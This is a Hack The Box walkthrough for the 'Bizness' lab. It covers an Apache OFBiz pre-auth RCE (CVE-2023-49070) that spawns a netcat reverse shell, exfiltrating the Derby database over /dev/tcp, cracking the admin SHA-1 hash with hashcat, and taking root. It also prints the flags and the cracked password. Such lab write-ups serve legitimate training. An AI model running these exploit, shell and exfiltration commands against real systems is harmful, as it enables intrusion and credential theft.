Skip to content

bizness.md

Latest commit

 

History

History
420 lines (266 loc) · 14.6 KB

bizness.md

File metadata and controls

420 lines (266 loc) · 14.6 KB

Bizness

🔗 Bizness

About

Machine Description

Bizness is an easy Linux machine showcasing an Apache OFBiz pre-authentication, remote code execution (RCE) foothold, classified as [CVE-2023-49070](https://nvd.nist.gov/vuln/detail/CVE-2023-49070). The exploit is leveraged to obtain a shell on the box, where enumeration of the OFBiz configuration reveals a hashed password in the service's Derby database. Through research and little code review, the hash is transformed into a more common format that can be cracked by industry-standard tools. The obtained password is used to log into the box as the root user.

Area of Interest

Web ApplicationDatabasesCommon Applications

Technology

NGINXApache OFBiz

Vulnerabilities

Weak CredentialsRemote Code ExecutionMisconfigurationInsecure Design

Security Tools

NetcathashcatNmap

Languages

PythonJava

Techniques

ReconnaissanceWeb Site Structure DiscoveryConfiguration AnalysisPassword ReusePassword Cracking

CVE

CVE-2023-49070

Task 0 - Deploy machine

🎯 Target IP: 10.129.237.34

Create a directory on the Desktop with the machine's name, and inside this directory, create another directory to store the materials and outputs needed to run the machine, including the scans made with nmap.

After this we run the VPN to be able to reach the lab: openvpn htb_vpn.ovpn

Task 1 - Reconnaissance

su
echo "10.129.237.34 bizness.htb" >> /etc/hosts

mkdir -p htb/bizness.htb
cd htb/bizness.htb
mkdir {nmap,content,exploits,scripts}
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts

I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.

ping -c 3 bizness.htb
PING bizness.htb (10.129.237.34) 56(84) bytes of data.
64 bytes from bizness.htb (10.129.237.34): icmp_seq=1 ttl=63 time=50.8 ms
64 bytes from bizness.htb (10.129.237.34): icmp_seq=2 ttl=63 time=56.0 ms
64 bytes from bizness.htb (10.129.237.34): icmp_seq=3 ttl=63 time=53.3 ms

Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target should be a *nix system, while Windows systems usually have a TTL of 128 secs.

1.1 - How many TCP ports are listening on Bizness?

Let's start right away with an active port scan with nmap

sudo nmap -p0- -sS -Pn -T4 -vvv bizness.htb -oN nmap/tcp_port_scan
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 63
443/tcp   open  https   syn-ack ttl 63
45853/tcp open  unknown syn-ack ttl 63
commandresult
sTTCP connect port scan (Default without root privilege)
sCRun default scripts
sVEnumerate versions
vvvVerbosity
T4Run a bit faster
oNOutput to file with nmap formatting

It looks like there are 4 open TCP ports on the machine: 22,80,443,45853.

{% hint style="info" %} 4 {% endhint %}

Then, we can proceed to analyze services active on open ports:

sudo nmap -sV -sC -p 22,80,443,45853 bizness.htb -oN nmap/service_port_scan
ORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http       nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp   open  ssl/http   nginx 1.18.0
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| tls-alpn: 
|_  http/1.1
|_http-server-header: nginx/1.18.0
| tls-nextprotoneg: 
|_  http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_ssl-date: TLS randomness does not represent time
45853/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.2 - What Enterprise Resource Planning (ERP) backend is in use?

Web servers have installed nginx vs 1.18, we can confirm it and know other info using: whatweb bizness.htb command:

http://bizness.htb [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.129.237.34], RedirectLocation[https://bizness.htb/], Title[301 Moved Permanently], nginx[1.18.0]
https://bizness.htb/ [200 OK] Bootstrap, Cookies[JSESSIONID], Country[RESERVED][ZZ], Email[info@bizness.htb], HTML5, HTTPServer[nginx/1.18.0], HttpOnly[JSESSIONID], IP[10.129.237.34], JQuery, Lightbox, Script, Title[BizNess Incorporated], nginx[1.18.0]

Then, go to web server via browser:

Doing a directory enumeration with Dirb tool and checking source page we don't discover others useful thing.

dirb https://bizness.htb

We discover an interesting page that contains login form and the version of ERP:

https://bizness.htb/accounting/control/main

{% hint style="info" %} apache ofbiz {% endhint %}

1.3 - What version of OFBiz is running on the target system?


OFBiz vs is already present into last screen:

{% hint style="info" %} 18.12 {% endhint %}

Task 2 - Exploitation & User Flag

2.1 - What is the 2023 CVE ID for a pre-authentication, remote code execution vulnerability on this version of OFBiz?

Using searchsploit tool we can discover quickly an exploit for this version of Apache OFBiz

search it on google to check potential alternatives and find the relative CVE ID

this CVE is about 2024, so we need to check another CVE for 2023, so google: "ofbiz 18.12 CVE 2023"

and we found a CVE about 2023 on nist site:

https://nvd.nist.gov/vuln/detail/cve-2023-49070

Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10. Users are recommended to upgrade to version 18.12.10

{% hint style="info" %} CVE-2023-49070 {% endhint %}

2.2 - What user is the OFBiz service running as?

There's a PoC to exploit it on github: https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass that contains all which we need: PoC and ysoserial-all.jar tool

{% hint style="warning" %} Always be careful what you download, open source / github does not mean 100% harmless program {% endhint %}

Download files locally using git clone command:

git clone https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass.git

check our attacker box machine IP using ifconfig tun0 go in listening mode using netcat nc -lvnp 1339 and into another shell, go run our exploit spawning a /bin/bash shell

python3 exploit.py --url https://bizness.htb --cmd 'nc -e /bin/bash 10.10.17.177 1339'

{% hint style="info" %}

ofbiz

{% endhint %}

2.3 - Submit the flag located in the ofbiz user's home directory.

Go to the user home dir using cd ~ and cat the user flag

🚩 Flag 1 (user.txt)

f17ce10e2a6f6da2a5f4d76ebb61c401

Task 3 - Privilege Escalation & Root Flag

3.1 - What is the full path of the directory that OFBiz is installed in?

We can find it into /opt directory

{% hint style="info" %} /opt/ofbiz {% endhint %}

3.2 - What hashing algorithm is the OFBiz installation configured to use for passwords?

To make our shell interactive and more usable run this command: python3 -c 'import pty;pty.spawn("/bin/bash")'

and start to search into a configuration files the hashing algorithm used.

there's an interesting file at the path: /opt/ofbiz/framework/security/config that contains the answer:

{% hint style="info" %} SHA {% endhint %}

3.3 - What database is used by Apache OFBiz, by default?

Search directory that regards database among the folders regarding data.

We found an interesting file at the path: /opt/ofbiz/runtime/data/derby/derby.log that contains db logs with correspective db name and its version

{% hint style="info" %} Apache Derby {% endhint %}

3.4 - In which directory are the Derby-related files stored on Bizness?

Navigating into folders there's an interesting file at path: /opt/ofbiz/runtime/data/derby/ofbiz/seg0 with more files .dat

Search into them if there's an 'admin' string using this command: grep -a -l 'admin.$' *.dat to search only interesting files that should contains sensitive administrative strings

and into file called: c6650.dat we found this value: admin$"$SHA$$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

{% hint style="info" %} /opt/ofbiz/runtime/data/derby {% endhint %}

3.5 - Using derby-tools and the ij command-line utility, what is the command within ij to connect to a database stored in ./ofbiz?

Maybe, I've already gone too far with the previous question.

ij utility seems be not present into these machine, so we can transfer .dat files and install ij utility on our kali attacker machine.

  • Archive file using: tar cvf /dev/shm/derby.tar derby
  • Transfer derby files to attacker machine:
    • Go in listening mode on attacker machine: nc -lvnp 4433 > derby.tar
    • Send file via netcat: cat /dev/shm/derby.tar > /dev/tcp/10.10.17.177/4433

Now we've a db on attacker machine, unzip the db archieve using: tar -xvf derby.tar

and we can install ij to connect db:

sudo apt-install derby-tools
ij
protocol 'jdbc:derby';
connect 'jdbc:derby:./ofbiz;create=true'; 
show tables;

In my case i've add an additional flag 'true' to to start the connection correctly.

{% hint style="info" %} connect 'jdbc:derby:./ofbiz'; {% endhint %}

3.6 - Which table contains the SHA-1 hash of the admin user?

Querying db we can discover the table that cotnains the SHA-1 hash of the admin user:

select * from OFBIZ.USER_LOGIN;
describe OFBIZ.USER_LOGIN;
select USER_LOGIN_ID,CURRENT_PASSWORD FROM OFBIZ.USER_LOGIN;

That's of course the same that we already know: $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

{% hint style="info" %}

USER_LOGIN

{% endhint %}

3.7 - What is the hex version of the discovered hash?

We know that the psw hash: $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I is in SHA1-based format

  • $SHA$: This indicates the use of the SHA-1 hashing algorithm.
  • d: This is the salt used in the hashing process.
  • uP0_QaVBpDWFeo8-dRzDqRwXQ2I: This is the Base64 URL-encoded hash. After decoding, this represents the actual hash value.

Decoding the Base64 URL-encoded String

echo "uP0_QaVBpDWFeo8-dRzDqRwXQ2I" | base64 -d | xxd -p > hash.txt
  • base64 -d: This decodes the Base64 URL-encoded string.
  • xxd -p: This converts the decoded bytes into a plain hexadecimal format. We need the hexadecimal version of the hash to use it in hashcat.

This generates a file hash.txt containing the decoded hash in hexadecimal format.

At this point, we have the decoded hash and we know the salt (d). However, hashcat expects the input hash to be in the format: <hash>:<salt>

echo 'b8fd3f41a541a435857a8f3e751cc3a91c174362:d' > hash.txt

{% hint style="info" %}

b8fd3f41a541a435857a8f3e751cc3a91c174362

{% endhint %}

3.7 - What is the root user's password?


Now, we can proceeding to cracking hash using hashcat, using the -m 120 thatcorresponds to the hashing algorithm sha1($salt.$pass)

hashcat -m 120 hash.txt /usr/share/wordlists/rockyou.txt

obtaining our psw in cleartext: b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

{% hint style="info" %} monkeybizness {% endhint %}

3.8 - Submit the flag located in the root user's home directory.

Finally, we know the admin password and we can access using sudo command: su -

🚩 Flag 2 (root.txt)

751fab1137897a30e64a45e099f8f9b7